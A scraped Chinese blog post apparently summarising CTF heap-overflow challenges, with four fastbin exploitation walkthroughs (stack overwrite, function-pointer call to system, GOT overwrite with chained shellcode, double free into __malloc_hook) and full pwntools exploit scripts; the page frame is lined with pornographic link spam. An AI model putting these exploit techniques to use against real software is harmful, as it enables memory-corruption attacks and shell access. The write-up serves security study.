日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

pwn学习总结(五) —— 堆溢出经典题型整理

發布時間:2025/3/21 编程问答 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 pwn学习总结(五) —— 堆溢出经典题型整理 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

pwn學習總結(五) —— 堆溢出經典題型整理

  • fastbin + 棧溢出
  • fastbin + 函數構造
  • fastbin + 堆執行
  • fastbin + malloc_hook

fastbin + 棧溢出

題目:fastbin
環境:ubuntu 16.04
下載地址:https://pan.baidu.com/s/1R6-BVR91Io_ZVPDDpBcCkA 提取碼:r7e5

查看程序防護

使用ida進行反編譯





已知條件

  • 可以對main函數中局部變量buf進行寫入,并且能得到buf的地址,但read函數不存在棧溢出
  • 用戶申請的chunk地址保存在全局數組中,下標等于申請時輸入的id號
  • read_content函數存在棧溢出,可以覆蓋到下一個chunk數據區的前4個字節
  • 存在callsystem函數,若能將eip指向它即可getshell
  • 利用思路

  • buf的前8個字節構造為chunkhead部分
  • 申請兩個chunkid分別為0和1
  • 釋放chunk1,由于是第一次釋放,此時chunk1fd為0
  • chunk0寫入數據,通過溢出將chunk1的fd修改為buf的地址
  • 再次申請chunk1,堆管理器中的下一個chunk指針將指向chunk1->fd
  • 申請chunk2chunk2將會分配到main函數局部變量buf+8的位置
  • chunk2寫入數據,也就是向buf寫入數據,并覆蓋main函數返回地址為callsystem函數的地址
  • main函數退出時,將執行callsystem函數
  • exp

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug'elf = ELF('./fastbin') sh = process('./fastbin')callsystem = 0x804852ddef add(num):sh.recvuntil('Your choice:\n')sh.send("1")sh.recvuntil('id:\n')sh.send(str(num))def delete(num):sh.recvuntil('Your choice:\n')sh.send("2");sh.recvuntil('id:\n')sh.send(str(num))def read(num, content):sh.recvuntil('Your choice:\n')sh.send("3")sh.recvuntil('id:\n')sh.send(str(num))sh.recvuntil('content:\n')sh.send(content)sh.recvuntil('Your Name:\n') sh.send(p32(0) + p32(0x29))sh.recvuntil('Your home is:') buff_addr = int(sh.recvline()[:-1], 16) #print(hex(buff_addr))add(0) add(1) delete(1) payload = 'a'*32 + p32(0) + p32(0x29) + p32(buff_addr) read(0, payload) add(1) add(2) payload = 'a'*0x12 + p32(callsystem) read(2, payload)#end while sh.recvuntil('Your choice:\n') sh.send("4")sh.interactive()

    getshell

    fastbin + 函數構造

    題目:fastbin2
    環境:ubuntu 16.04
    下載地址:https://pan.baidu.com/s/1EdyxY51lrkOcbByIiIH-8A 提取碼:cs3z

    查看程序防護

    使用ida進行反編譯





    已知條件

  • 用戶申請的chunk地址保存在全局數組中,下標等于申請時輸入的id號
  • chunk釋放后,不會初始化對應的數組成員
  • 存在system函數,但不存在"/bin/sh"字符串
  • read_content函數中存在溢出,可以覆蓋到下一個chunk數據區的前8個字節
  • do_something函數中存在函數指針,指向*buf[id-2],參數為*(buf[id]+8),并在一定條件下執行
  • 利用思路

  • 申請三個chunk,id分別為0、1、2
  • 按順序釋放chunk1chunk2,此時chunk2fd指向chunk1head
  • chunk0的數據區開始位置寫入system函數的plt地址,通過溢出向chunk1的數據區開始位置寫入"/bin/sh"字符串
  • 讓函數指針指向chunk0并執行,此時函數地址為system的地址,參數為chunk2的fd+8,也就是"/bin/sh"的地址
  • exp

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug'elf = ELF('./fastbin2') sh = process('./fastbin2')def add(num):sh.recvuntil('Your choice:\n')sh.send("1")sh.recvuntil('id:\n')sh.send(str(num))def delete(num):sh.recvuntil('Your choice:\n')sh.send("2");sh.recvuntil('id:\n')sh.send(str(num))def read(num, content):sh.recvuntil('Your choice:\n')sh.send("3")sh.recvuntil('id:\n')sh.send(str(num))sh.recvuntil('content:\n')sh.send(content)def do(num):sh.recvuntil('Your choice:\n')sh.send("4")sh.recvuntil('id:\n')sh.send(str(num))system_addr = elf.plt['system']add(0) add(1) add(2) delete(1) delete(2) payload = p32(system_addr).ljust(32, 'a') + p32(0) + p32(0x29) + '/bin/sh\x00' read(0, payload) #pwnlib.gdb.attach(proc.pidof(sh)[0]) do(2)sh.interactive()

    getshell

    fastbin + 堆執行

    題目:note-service2
    平臺:攻防世界 PWN 高手進階區
    原平臺:CISCN-2018-Quals

    查看程序防護

    使用ida進行反編譯



    已知條件

  • 不存在堆溢出
  • 申請堆塊時存在數組下標溢出,可在任意地址申請堆塊
  • userdata最多申請8個字節,但是只能寫入7個字節(見ReadContent函數)
  • 利用思路

  • 通過數組下標溢出,在對free函數進行got表復寫,也可以對atoi等函數進行got表復寫
  • 申請一個堆塊,寫入字符串’/bin/sh’
  • 申請多個chunk,分組將shellcode寫入連續的堆塊中,在最后兩個字節構造跳轉到下一個shellcode的指令
  • 調用free函數,下標為之前寫入字符串’/bin/sh’的堆塊,相當于將’/bin/sh’作為參數進行系統調用
  • exp

    #-*- coding: utf-8 -*- from pwn import * from ctypes import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' context.arch = 'amd64'elf = ELF('./note-service2') #libc_so = ELF('./') sh = process('./note-service2') #sh = remote('', )def add(index, content):sh.sendlineafter('choice>> ', '1')sh.sendlineafter('index:', str(index))sh.sendlineafter('size:', '8')sh.sendlineafter('content:', content)def delete(index):sh.sendlineafter('choice>> ', '4')sh.sendline(str(index))add(0,'/bin/sh') add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+'\x90\x90\xe9\x16') add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xe9\x16') add(2,asm('xor rdx,rdx')+'\x90\x90\xe9\x16') add(3,asm('syscall')+'\x90'*5) delete(0)sh.interactive()

    getshell

    fastbin + malloc_hook

    題目:easy_heap
    平臺:NCTF2019
    環境:ubuntu 16.04
    下載地址:https://pan.baidu.com/s/1_I07Zs2IK1WRFfYJGm_yFQ 提取碼:rtuh

    查看程序防護

    使用ida進行反編譯





    已知條件

  • chunkdelete_node函數中被free后未初始化對應數組成員,存在double free漏洞
  • 申請chunk時大小被限制,可將chun申請到buff處,溢出并覆蓋chunk_size為任意值
  • 可使用print_content函數泄露unsortbin地址,進而泄露libc_base
  • 利用思路

  • 構造buff16字節chunkhead部分
  • 通過double free將chunk申請到buff+8
  • buff進行寫入,溢出并覆蓋chunk_size為合適大小
  • 泄露unsortbin,通過偏移0x3c4b78得到libc_base,再通過偏移0xf1147得到one_gadget的地址
  • 獲取__malloc_hook函數地址,寫入one_gadget的地址;當malloc函數執行時,若__malloc_hook中有值,便會執行其中的函數
  • exp

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'amd64'libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')sh = process('./easy_heap')def add(size, content):sh.recvuntil('4. exit\n')sh.send('1')sh.recvuntil('What\'s your heap_size?\n')sh.send(str(size))sh.recvuntil('What\'s your heap_content?\n')sh.send(content)def delete(index):sh.recvuntil('4. exit\n')sh.send('2')sh.recvuntil('What\'s your heap_index?\n')sh.send(str(index))def show(index):sh.recvuntil('4. exit\n')sh.send('3')sh.recvuntil('What\'s your heap_index?\n')sh.send(str(index))buff_addr = 0x602060sh.recvuntil('What\'s your name?\n') sh.send(p64(0) + p64(49)) #構造chunk頭部#將chunk申請到buff處,寫入數據并溢出覆蓋chunk_size add(32, 'a') #id:0 add(32, 'a') #id:1 delete(0) delete(1) delete(0) add(32, p64(buff_addr)) #id:2 add(32, 'a') #id:3 add(32, 'a') #id:4 add(32, 'a'*8 + p64(0x200)) #id:5#泄露unsortbin的地址 add(256, 'a') #id:6 add(256, 'a') #id:7 delete(6) show(6) sh.recvuntil('heap6: ') ubin = u64(sh.recvline()[:-1].ljust(8, '\x00')) #print(hex(ubin))#0x3c4b78:可通過gdb調試計算,不同版本的libc偏移可能不同 #ubin = arena + 0x88,即 libc_base = ubin - (arena-libc_base) - 0x88 libc_base = ubin - 0x3c4b78 malloc_hook = libc_base + libc.symbols['__malloc_hook'] #0xf1147:通過靜態分析libc反匯編得到 one_gadget = libc_base + 0xf1147#1. 將chunk申請到malloc_hook-0x23位置,此時chunk的size為7f(可通過調試觀察) #2. 向malloc_hook中寫入one_gadget的地址 #3. 當malloc執行時,會判斷__malloc_hook中是否為空,若不為空,則執行其中的函數 add(96, 'a') #id:8 add(96, 'a') #id:9 delete(8) delete(9) delete(8) add(96, p64(malloc_hook-0x23)) #id:10 add(96, 'a') #id:11 add(96, 'a') #id:12 add(96, 'a'*0x13 + p64(one_gadget)) #id:13#再次調用malloc函數,將會執行one_gadget sh.recvuntil('4. exit') sh.send('1') sh.recvuntil('What\'s your heap_size?\n') sh.send('16')sh.interactive()

    getshell

    總結

    以上是生活随笔為你收集整理的pwn学习总结(五) —— 堆溢出经典题型整理的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 日韩在线免费播放 | 免费看黄色一级视频 | 国产精品丝袜黑色高跟鞋 | 72pao成人国产永久免费视频 | 日韩操操| 91国产视频在线观看 | 亚洲av无码国产精品色午夜 | 蜜臀av午夜精品 | 欧美人与野 | 日本性生活一级片 | 在线观看免费高清在线观看 | 国产99久久久国产精品免费看 | 999超碰 | 国产成人精品亚洲日本在线观看 | 成人久久视频 | 日一日干一干 | 亚洲最大的av网站 | 午夜视频www | xiuxiuavnet| 咪咪色影院 | 一级特黄妇女高潮2 | 一区二区三区四区精品视频 | av一本二本 | 一本免费视频 | 揄拍成人国产精品视频 | 欧美黄色录像视频 | 久久精品视频在线观看 | 人人干人人干人人干 | 亚洲av无一区二区三区久久 | 欧美三个黑人玩3p | 尤物视频在线观看国产 | 99视频在线看 | 波多野结衣在线一区 | 成人激情小视频 | 涩涩久久 | 免费特级毛片 | japanese24hdxxxx中文字幕 | 中文不卡在线 | 国产精品不卡av | 久久精品2019中文字幕 | 九七在线视频 | 国产精品电影院 | 蜜桃av噜噜 | 日本人妻不卡一区二区三区中文字幕 | 干夜夜 | 国产怡红院| 99视频+国产日韩欧美 | 亚洲丁香婷婷 | 疯狂揉花蒂控制高潮h | 午夜成人亚洲理伦片在线观看 | 国产精品日韩在线观看 | 秋霞电影一区二区 | 国产精品一区二区人人爽 | 99色婷婷 | 不卡av一区| 免费一二三区 | 日韩国产免费 | 精品香蕉视频 | 亚洲图片欧美日韩 | 无码熟妇人妻av | 手机av在线免费观看 | 亚洲精品视频中文字幕 | 红桃视频黄色 | 久久国产精品首页 | 精品在线观看视频 | 国产白浆在线 | 美女精品网站 | avtt2015| 一级黄色毛毛片 | 精品久久伊人 | 国产一区二区视频在线播放 | 日韩在线免费观看视频 | 中文日韩在线 | 日本在线视频一区二区 | 美脚の诱脚舐め脚视频播放 | av三级在线播放 | 麻豆网站在线免费观看 | 免费在线国产精品 | 国产免费无码XXXXX视频 | 夜夜嗨av一区二区三区四区 | 狠狠爱亚洲 | 激情六月色| 日本一区二区不卡在线 | 午夜寂寞剧场 | 青苹果av | 国产精品免费一区 | 萌白酱喷水视频 | av卡一卡二 | 欧美12--15处交性娇小 | 精品人妻人伦一区二区有限公司 | 壮汉被书生c到合不拢腿 | 精品亚洲天堂 | 日韩在线中文 | 爆操巨乳美女 | 日韩av一区在线播放 | 欧美黑人啪啪 | 色婷婷av一区二区三区之红樱桃 | 玩偶姐姐在线观看免费 | 日韩一区欧美一区 |